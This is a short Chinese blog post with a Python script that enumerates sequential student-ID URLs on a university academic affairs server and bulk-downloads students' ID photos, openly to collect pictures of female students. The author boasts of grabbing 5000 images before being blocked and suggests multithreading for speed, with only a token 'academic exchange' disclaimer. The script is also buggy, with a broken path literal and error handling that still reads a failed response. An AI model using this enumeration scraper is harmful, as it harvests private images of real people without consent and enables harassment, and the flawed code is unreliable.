python获取教务管理系统的MM照片

前提:你的教务管理系统是明文存储大家的图片,加密的图片就不好弄了...

也就是能够通过浏览器直接访问...技术上就不存在什么问题了...如果是学号存储的就更方便了

然后我们就可以写个小脚本了...其实就是直接url获取然后保存在本地...

第一个python小脚本...练手玩一玩...

如果要效率高可以用多线程...

大家就可以愉快的找到MM的照片啦! 不要太过火哟...我下载到5000张的时候就被远程停止了...sad...

 1 import urllib.request
 2 
 3 for i in range(10,10000):
 4     name = "http://www.xx.edu.cn:8081/_photo/student/20110000"
 5     tmp = '%d'%i
 6     while(len(tmp) < 4):
 7         tmp = "0" + tmp 
 8     name = name + tmp + ".jpg"
 9     print(name)
10     try:
11         socket = urllib.request.urlopen(name)
12     except:
13        print(name+"not exist")
14     finally:
15         data = socket.read()
16         path = r"F:\pic\"
17         path = path + tmp + ".jpg"
18         print(path)
19         with open(path,"wb") as jpg:
20             jpg.write(data)
21         socket.close()

解释一下...我是用python3.3   2.X的用户要用import urllib2

4-8行都是处理url字符串的...9行可要可不要

10行是测试该url是否可访问

14行之后就是保存到本地了

纯粹学术交流,请大家不要用于攻击等行为

posted @ 2013-10-22 17:10  Felix_F  阅读(575)  评论(0编辑  收藏  举报